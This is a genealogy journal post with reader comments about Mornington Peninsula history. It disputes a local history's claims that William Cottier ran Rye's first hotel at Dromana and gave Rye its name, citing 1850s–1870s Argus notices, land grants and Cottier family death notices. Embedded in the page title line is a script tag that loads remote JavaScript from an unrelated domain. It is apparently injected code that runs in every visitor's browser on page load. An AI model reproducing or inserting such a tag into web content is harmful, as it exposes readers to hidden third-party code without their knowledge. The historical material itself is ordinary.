CORRECTION: THE FIRST RYE HOTEL WAS IN DROMANA??? WILLIAM COTTIER GAVE RYE ITS NAME?? (VIC., AUST.)<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
<< Previous - Next >>

CORRECTION: THE FIRST RYE HOTEL WAS IN DROMANA??? WILLIAM COTTIER GAVE RYE ITS NAME?? (VIC., AUST.)

Journal by itellya

Charles Hollinshed had presented about a truckload of papers to the Victorian Historical Society and was selected by the Shire of Flinders to write its history:LIME LAND LEISURE. I had been researching Mornington Peninsula History for about a month or so when I read his book, rather made notes from it, and although I found a few boo boos, such as Ned Williams' biography appearing in the WHITE entry,I was quite prepared to accept everything in the book as Gospel. Boy, I was excited when I found out that the first Rye Hotel was in Dromana some time before 1859! The alarm bells tingled when Charles called William Cottier JAMES Cottier. The Kangerong parish map, which I had obtained from the Rye Historical Society,made it quite clear that William Cottier was the grantee of the land that became Walter Gibson's "Glenholm". It is doubtful that William Cottier's supposed hotel was on the foreshore (actually the Survey) opposite the Dromana Bush Nursing Hospital;it would more likely have been the squared-log core of the Glenholm homestead (bottom of 160 D5,under the freeway.) William had received the grants in 1857.

QUOTED FROM PAGES 112-113 OF LIME LAND LEISURE.
James (sic) Cottier (pronounced "Cutter")and his wife came to Dromana in 1850.They may have begun as tenants on the Survey but built on the foreshore where Dromana Hospital is now. James (sic) took up timber getting and presumably stayed in that trade because he is said to have had bullocks hauling piles from the back country when the Dromana pier was being built in the 1870's. However he or perhaps Mrs Cottier soon began to take in boarders.

SOME TIME BEFORE 1859 A LICENCE ISSUED AND THE COTTIER HOUSE BECAME THE RYE HOTEL. (Charles then mentioned Cottier's grants which became Walter Gibson's "Glenholme", sic, Glenholm.)

IN 1866,IN PARTNERSHIP WITH A MR. CAMPBELL, HE PUT UP A BUILDING SPECIFICALLY TO BE AN HOTEL,AND ON TRANSFER OF THE LICENCE,THIS BECAME THE RYE HOTEL. Eventually the new hotel deteriorated and Campbell, probably still in partnership with Cottier (unlikely,see below), built the White Cliffs Inn,presumably on a site next to Cliff House (which was) on the(east)corner of Napier St. THE COTTIERS WERE AMONG THE FIRST SETTLERS AT RYE AND IT IS SAID THAT THEY WERE THE FIRST TO USE THAT NAME INSTEAD OF TOOTGAROOK.

Pencilled in one of the four copies of LIME LAND LEISURE in the local history room at Rosebud library are the following comments written by somebody who was obviously a frustrated Cottier family historian.

Who is the William Cottier who married Margaret Owen and had two children born at Tootgarook, Emily in 1872 and Mary Jane in 1869. A William Cottier paid rates on 564 acres at Fingal in 1865. William leased land in Rye from W.A.Blair in 1874,1 acre 3 roomed house.

The following is copied from my HERITAGE WALK, DROMANA journal.

COTTIER 1857.
According to Colin's map, William Cottier's house on the Survey was near today's Balmoral Avenue. William signed the 1861 petition in support of Robert Quinan's school becoming Dromana's Common School (P.133 in Colin's book.) William Cottier (pronounced Cutter)received the grants for crown allotments 9 and 10 section 1, Kangerong and built the initial part of what became Walter Gibson's Glenholm homestead. C/a 9 is now the Dromana Industrial Estate and c/a 10 is the Monaco Estate including all Lombardy St house blocks.

What did surprise me is the following grant in the parish of Fingal, south of the Boniyong (Boneo) pre-emptive right.
Lot 32. One hundred and twenty two acres three roods five perches, 22/- per acre.William Cottier.
(P.5, Argus, 19-2-1858.)

In another journal I have warned family historians about taking lot numbers to be crown allotment numbers. William Cottier's Fingal grant was crown allotment 13 of 122 acres 3 roods and twenty five perches.It was a triangular block fronting the west side of Truemans Rd south of the St Andrews Golf Club's Gunnamatta Course, indicated by Melway 252 B10 and C 10-11.

When I added Kangerong as a search term, to avoid millions of shipping intelligence articles in the 1850's (Captain William Cottier), I discovered that William had bought his grants between Collins Rd and (inclusively) Lombardy St in early 1857. Lot 5 is c/a 9 and lot 6 is c/a 10 (both section 1 Kangerong.)

Parish of Kangerong, County of Mornington. Upset price £1 per acre.
Lot 5,151a. Sr. 8p, William Cottier, £1 per acre.
Lot 6,116a. 2r., William Cottier, £1 5s. do. (P.6,Argus,26-3-1857.)

LIME LAND LEISURE has much detail about Cottier and John Campbell (who also signed the 1861 petition in support of Robert Quinan.) Charles Hollinshed relied on the memory of elderly descendants and called Dromana's pioneer James Cottier. However he must have seen documents or articles to support his claim that Cottier established the RYE hotel at Dromana and that the licence was later transferred to Tootgarook where he and John Campbell (who built Rye's first pier in 1860) built the RYE HOTEL east of Napier St. (The present Rye Hotel is on the site of Patrick Sullivan's Gracefield Hotel, built about 15 years later, whose name came from the Dromana property that his father in law,William Grace, had sold in about 1871 before moving to Rye.)

Rye was known as Tootgarook, but as in the case of Rosebud, where people said that they were going to THE ROSEBUD,thirsty limeburners probably said ,"I'm going to THE RYE" and in each case THE was eventually deleted. Thus William Cottier is credited with giving Rye its name. So what's this?

FOUND, A quantity of SPARS. Owner can have a claim by applying to Mr. Cottier, Tootgarook Hotel, Tootgarook.
(P.1, Argus, 8-6-1869.)

JOTICE of APPLICATION for a PUBLICAN'S
LICENCE.-To the Bench of Magistrates. at
Mornington.-I, WILLIAM COTTIER, farmer, now
residing !nt Ryo, in tho colony of Victoria, do hereby
give netico that it is my intention to APPLY to the
justices, sitting at the Court of Petty Sessions to bo
holden at Mornington, In tho said colony, on tho 20th
day of Juno noxt.'for n CERTIFICATE authorising
the issuing of a PUBLICAN'S LICENCE for a house
situated at Rye aforesaid. The houso Is built of wood,
consisting of two slttlngrooms and six bedrooms ex-
clusivo of thoso required for tbo use of tho family ;
occupied and owned,by mo. It is not licensed. To
bo know n as tbo Tootgarook Hotel. i
Tho 14th'day of Juno, A.D. 1807. ,
- I ' (Signed) . WILLIAM COTTIER. (P.8 Argus, 21-6-1867.)

NOTICE.-The PARTNERSHIP hitherto subsisting
between WILLIAM COTTIER and JOHN CAMP
BELL, trading as " Wm. Cottier and Campbell," at
Tootgarook, has this day been DISSOLVED by
mutual consent.
All liabilities will be paid and all moneys received
by William Cottier.
JOHN CAMPBELL.
WM. COTTIER. ,
Melbourne 13th April, 1870. (P.3, Argus, 14-4-1870.)

William Cottier, of Rye, near Point Nepean,
limeburner. Causes of insolvency-Long de-
pression of trade and losses in business.
Liabilities, £480 12s. 6d. ; assets, £30 ; de-
ficiency, £150 12s. 6d, Mr. Goodman, official
assignee. (P.5, Argus, 26-10-1870.)

A special examination was held in the
estate of William Cottier, of Rye, labourer,
late publican. The insolvent was brought in
custody from gaol, where he was imprisoned
on a charge of stealing meat, and was ex-
amined by Mr. F. Stephen in reference to his
transactions as a publican at Rye, and also
respecting, a lime-burning business that he
had been engaged in. (P.7, Argus,23-12-1870.)

Certificate Meetings.
Certificates of discharge from their debts were granted to the following insolvents :
....... ; John Blair, of Melbourne, surgeon*; ....... William Cottier, of Rye, limeburner ; F. W. Wilks, of Collingwood, commission agent. (P.6, Argus, 10-6-1871.)
*Blair,like Cottier,recovered and bought Villa Maria, naming it Blairgowrie, which eventually became the new name of Sorrento East.

CONCLUSION.
Until documentation of a licence being issued for William Cottier's house near Dromana under the name, Rye Hotel, is found, this claim must be treated as the type of myth that finds its way into family folklore, such as Rosebud's Captain Adams being the illegitimate son of Lord Vivian and receiving a grant of 750 acres. As William's application of 1867 shows, he intended to call the hotel the Tootgarook Hotel;he did not mention transferring a previous licence.

However,the fact that a "Tootgarook Hotel" had been operating earlier*(on part of the Tootgarook pre-emptive right, near the future Leonard St) might have required a different name to be used.
*Peter Purvis**, Tootgarook, Tootgarook Hotel.Granted.(P.5, Argus, 22-4-1857.) **Peter Purves d. 1860.

Since not one of the 170 results for "Tootgarook Hotel" in the 1860's mentioned a hotel of that name until William Cottier's application in 1867,the need for another name seems unlikely. It also means that Patrick Wee Wee and the four quarrymen who drowned on the way to the quarantine station in late 1869 had met in William Cottier's TOOTGAROOK HOTEL, which, by the way was probably built on John Campbell's grants, crown allotments 6 and 7 of section 1, extending from The Esplanade to Nelson St. They had a 40 metre frontage to both streets between points 60 metres east of Napier St and 100 metres west of Lyons St.

Was William Cottier ahead of his time in naming the area Rye? He used the name twice in his 1867 application. There was no mention of either Tootgarook or Rye Townships in The Argus in the 1860's,the only indication that a township was even in the pipeline being the following advertisement:

extension on mail road between Cheltenham and Tootgarook (in consequence of removal of post office, Tootgarook to another site), at contract rate per mile, from 1st of July to 31st of December, 1860, £8 6s. 6d,Henry Dunn ;
(The Argus (Melbourne, Vic. : 1848 - 1957) Wednesday 17 October 1860 p 7 Article)

In 1868 the school at Rye was still called the Tootgarook school when John Watt (whose house now stands next to the Sorrento Museum) was appointed to the committee.
Tootgarook, No. 623 -Robert H. Kelly, John Watt ;(P.7, Argus, 24-6-1868.)

RYE. County of Mornington, parish of Nepean, in the village of Rye, on Port Phillip Bay.Upset price, £8 per acre. Allotments 4, 6,7,8, Section 2 ; 7,10, Section 3. 2 roods each. (P.3, Argus, 21-4-1869.)

Now realising why I'd found no mention of either Tootgarook or Rye Townships,I entered VILLAGE OF RYE and the Cottier claim of giving Rye its name was shot down in flames.

COUNTRY LOT. NEPEAN. Situate on the southern shore of Port Phillip Bay, west of the village reserve of Rye, about seven miles east of the Sanatorium.Upset price, £1 per acre. Allotment 12. 163 acres.
)P.7, Argus,17-8-1865.)
(Crown allotment 12,parish of Nepean was on the north east corner of Melbourne and Canterbury Rds and became part of Owen Cain's Tyrone.)

ANY CRITICAL THINKER WOULD IMMEDIATELY RESPOND, "BUT IF CAMPBELL WAS SUPPOSEDLY (IF I REMEMBER CORRECTLY) BUILDING THE FIRST RYE PIER IN 1860,COTTIER MAY HAVE BEEN IN THAT AREA BEFORE 1865 TOO, SO THERE IS NO PROOF THAT HE DID NOT GIVE RYE ITS NAME."

It could be presumed that the people who signed the petition of 9-3-1861,scanned onto page 132 of Colin McLear's A DREAMTIME OF DROMANA, had children enrolled at Robert Quinan's school at Dromana. It was signed by both William Cottier and John Campbell. This would indicate that both families were still living at Dromana in 1861. It is possible that Master Mariner, John Gibson (whose son,John, born in 1859 on the Survey later became a Kiwi) had a vessel and took Campbell to Rye each day, or the pier was built later than 1860. (John Gibson also signed the petition!)

Did the village of Rye have that name while John Campbell and William Cottier were still living at Dromana? Yes, in early 1860!

Nepean, situate from 8 to 10 miles south-easterly from Point Nepean adjoining the village reserve of
Rye, and west of Mr. Purves's pre-emptive section :etc.
(Column 4 about a third of the way down in the second MELBOURNE sale after GISBORNE, P.7,Argus,23-4-1860.)


Jennifer Nixon's FAMILY, CONNECTIONS, SORRENTO AND PORTSEA probably has much information about the Cottiers but let's see if trove can add anything.

COTTIER.

COTTIER.-In loving memory of our dear sister,Lily, who passed away on the 25th August, 1924,at Frankston; and our dear mother, who passed away on the 23rd August, 1913, at Sorrento; and our dear brother, Walter, who passed away on the 17th September, 1916, at Sorrento.(P.13,Argus,25-8-1928.)

Possibly related to William.
COTTIER.-On the 3rd inst., at Queenscliff, James Cottier*, aged thirty-one years. Gipps Land and
New Zealand papers please copy.(P.4, Argus,9-2-1867.)
*His son, James Edwin, was still at Queenscliff when he married in 1885.

COTTIER. -On the 11th Mar, at the Children's Hospital, Melbourne, Alan William, dearly loved grandson of Edwin John (deceased) and Josie Dark, Ophir, Sorrento, and William Cottier, Frankston* and the late Elizabeth Cottier, aged 9 years and 11 months. (P.1, Argus, 12-5-1925.) The boy's parents, John and Elizabeth, who placed the previous notice in the same issue,lived in Richmond.

*Possibly son of William in previous notice.
COTTIER, James.—On March 10,at his residence, Lewis street,Frankston, loving husband of Isabella (Queenie).
COTTIER. —The Funeral of the late Mr. JAMES COTTIER, of Lewis street, Frankston, will leave Cain street, Sorrento, THIS DAY (Thursday), after a service commencing at 2.45 p.m., for the Sorrento Cemetery.
(P.12, Argus,11-3-1954.)

Grandfather of Alan William.
COTTIER -On the 7th September at Charlescote, 23 Hope street Spotswood, William, the dearly beloved husband of the late Elizabeth Cottier and loving father of Jack and Ethel (Mrs W.R.Anderson), aged 77 years -Mother and
father reunited. (P.1, Argus, 8-9-1932.)

The late Elizabeth Cottier (nee Dark) above(Lily.)
COTTIER. –On the 20th[?] August, at Fndley? street,Frankston, Elizabeth Hester (Lily), dearly loved wife of William Cottier, loving mother of Jack and Ethel (Mrs. Anderson), loved sister of Ted(deceased), Walter (deceased), Charlie, Minnie (Mrs. White), Annie (Mrs. Skelton), Frances (Mrs.Johnstone), Effie (deceased), and Harry, aged 65 years.(P,.1,Argus, 26-8-1924.)

Edwin John Dark's grandson.
COTTIER.—On August 25, at Sydney, Edwin John dearly beloved son of Elizabeth and John, brother of Allan (deceased), Florence (Mrs.Gillson) and Charles aged 28 years. -Loved by all. (P.22, Argus, 1-9-1951.)

Surnames: CAMPBELL COTTIER DARK
Viewed: 2421 times
Likes: 0
by itellya Profile | Research | Contact | Subscribe | Block this user
on 2015-02-16 00:59:22

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

Do you know someone who can help? Share this:

Comments

by itellya on 2015-02-16 02:34:15

TO THE FRUSTRATED COTTIER FAMILY HISTORIAN.
You obviously have a battle on your hands given the sketchy genealogy provided to Charles Hollinshed (who did not have the luxury of trove etc. so we can't be too hard on him.)

This might help you a bit re the 564 acres in Fingal on which William Cottier paid rates in 1865. I could find no crown allotments near William's grant (13 Fingal of 122 acres 3 roods and 25 perches) which when added to the grant would give a total of 564 acres.Working on the assumption that he may have sold his grant to finance the construction of the substantial house described in mid 1867,I looked for adjacent land that would total 564 acres or thereabouts. Thomas Monahan had lot 12 north of William Cottier's c/a 13 but when combined with any other of Monahan's grants,the total was 513, 508 or 506 acres, nowhere near 564 acres. 11 10 and 9 fronted the south side of Sandy Rd between Bass Meadows Boulevard (inclusively) and Truemans Rd. The southern boundary of the three blocks is indicated by a line connecting the north boundary of the Gunnamatta Course (Melway 252 D7)and the end of Constantine Avenue (251 J7.) The three crown allotments consisted of 192a.2 r.31p., 186a.3r.8p. and 185a.2r.1p. In total the three blocks consisted of 565 acres exactly but rate collectors (like most of my readers) would not have a clue that 40 perches made an acre and 4 roods made an acre. Most times roods and perches were ignored which would have resulted in a total of 563 acres but I guess the rate collector thought all those roods and perches must constitute an extra acre.

Crown allotments 9-11 almost certainly constituted the Fingal land occupied by William Cottier in 1865. West of the line joining Government Rd/Weeroona St to the north end of Bass Meadows Boulevard was the parish of Nepean.

William Cottier's Kangerong
grants (c/a 9 and 10 of section 1) went south to Boundary Rd, Palmerston Ave (the freeway) being the north boundary of c/a 10.)

by itellya on 2015-02-16 03:34:06

As a final desperate to prove the story which had so excited me, I decided to do a COTTIER, HOTEL trove search limited to the 1850's. There's no guarantee that its our William Cottier but if could be a lead for the Cottier historian. Rocky Water Holes was the early name for Kalkallo.

THURSDAY, 11TH APRIL.
To Farmers, Settlers, Carriers,and others.
Unreserved Sale Of Working Bullocks, Drays, Horses, Farming Implements, &c, &c.
E. COHEN Has received instructions from Mr. William Cottier, farmer, to sell by public auction without reserve, at the
"FOUNTAIN INN," ROCKY WATER HOLES, SYDNEY ROAD,on THURSDAY, 11TH APRIL,at 12 o'clock,
SEVERAL Teams of Capital Working Bullocks.
2 very Strongly built Drays, Plough, Winnowing Machine, Horses, Mares, 2 year old Colt by Clifto, with various Farming Implements &c, &c.
Terms, Cash. (P.3, Argus, 9-4-1850.)

by itellya on 2015-02-19 20:10:34

On a map of early Rye on page 60 of LIME LAND LEISURE, "Campbell Hotel" is shown about a third of the way between Napier St and Lyons St. A bit farther east and set back farther from the Esplanade (beach road)is "Wine Saloon". About halfway between Campbell Hotel and Napier St is "Sullivan Boarding House (J.Cottier Whitecliff Inn)".

No indication is given regarding the person who drew the map but I suspect that it was drawn by Charles Hollinshed based on what he had been told and had assumed.

This passage seems to indicate that J.Cottier Whitecliff Inn is not correct, and should be John Campbell Whitecliff Inn, and that its location is only an assumption.

"IN 1866,IN PARTNERSHIP WITH A MR. CAMPBELL, HE PUT UP A BUILDING SPECIFICALLY TO BE AN HOTEL,AND ON TRANSFER OF THE LICENCE,THIS BECAME THE RYE HOTEL. Eventually the new hotel deteriorated and Campbell, probably still in partnership with Cottier (unlikely,see below), built the White Cliffs Inn,presumably on a site next to Cliff House (which was) on the(east)corner of Napier St.

The Campbell Hotel's location is almost exactly where John Campbell's grants were. Now presuming myself, it would seem logical that John Campbell supplied the land and maybe part of construction costs while William Cottier would run the Toogarook Hotel. Thus I believe that the Tootgarook Hotel was built on John Campbell's grants, crown allotments 6 and 7 of section 1, an acre with a 20 metre frontage to both The Esplanade and Nelson St, between points 60 metres east of Napier St and 100 metres west of Lyons St.

After pacing the 60, 40 and 100 metre distances east from Napier St, I am confident that the frontage to The Esplanade of John Campbell's grants includes all the shops from the Board Shop east to, and including, Ray White's real estate office.

If the Tootgarook Hotel had deteriorated and needed to be replaced, and John Campbell still owned his grants, surely it would make sense to demolish (or renovate) it and for John Campbell to built the Whitecliff Inn on the same site. It is highly unlikely that Campbell was still in partnership with Cottier, given that their partnership had been dissolved in April 1870.

By sheer luck,I included some assessments in Rye Township in my transcription of the 1919-20 rates. James Sullivan was occupying c/a's 6-10 and buildings, which included John Campbell's grants, Miss Robina Rowley had c/a 5,section 1, the name of Mrs Kate Crampton of Frankston was written as occupier of c/a 4 section 1 and then crossed out,and Mrs Ann Hill was rated on crown allotments 1, 3 and P.O.,section 1. (Presumably the post office was on c/a 2.)

This at least confirms the location of the post office as being on the west side of Lyons St as shown on the map.The Wine Saloon was a bit less than halfway from Napier St to Lyons St and was probably on John Campbell's crown allotment 7.

by itellya on 2015-02-19 20:21:50

Oops. Each of c/a's 6 and 7 had a one chain (20 metre) frontage, so the passage above reading "an acre with a 20 metre frontage" should be "an acre with a 40 metre frontage".

While on the subject of boo boos, my comment of 2015-02-16 03:34:06 should start with:
"As a final desperate EFFORT....."

by itellya on 2015-02-19 23:33:51

I have a suspicion that Sidney Smith Crispo, writer for the Victorian Coastal Survey until it was disbanded in 1867, may have suggested the name of Rye to his superior, James McPherson Grant of the Lands Department, just as he claimed to have suggested to Mr Grant that land in dispute between William Allison Blair and Charles Gavan Duffy be declared the Village of Sorrento.

Crispo obviously had a high regard of the aristocracy, the reason that he renamed his village of Manners -Sutton as Canterbury as soon as the Governor, Sir John Manners-Sutton became Viscount Canterbury during his tenure. Lieutenant Rye, also known as Earl Spencer, was a naval commander at the same time as Crispo's father, John. Although he was regarded as a whacker by some, the eccentric S.S.Crispo was highly regarded by a later Governor, Lord Brassey, who came to the peninsula just to visit him (but couldn't find Rye!) He must have blinked at the wrong time!

It has been claimed that Rye was named after Rye in Sussex but my theory could be right in that the physical resemblance between the two places doesn't seem to match up, except for being coastal, and that Nelson St and Collingwood St are also named after Naval heroes. The only argument against Crispo coining the name is that he didn't brag about it.

Register or Sign in to comment on this journal.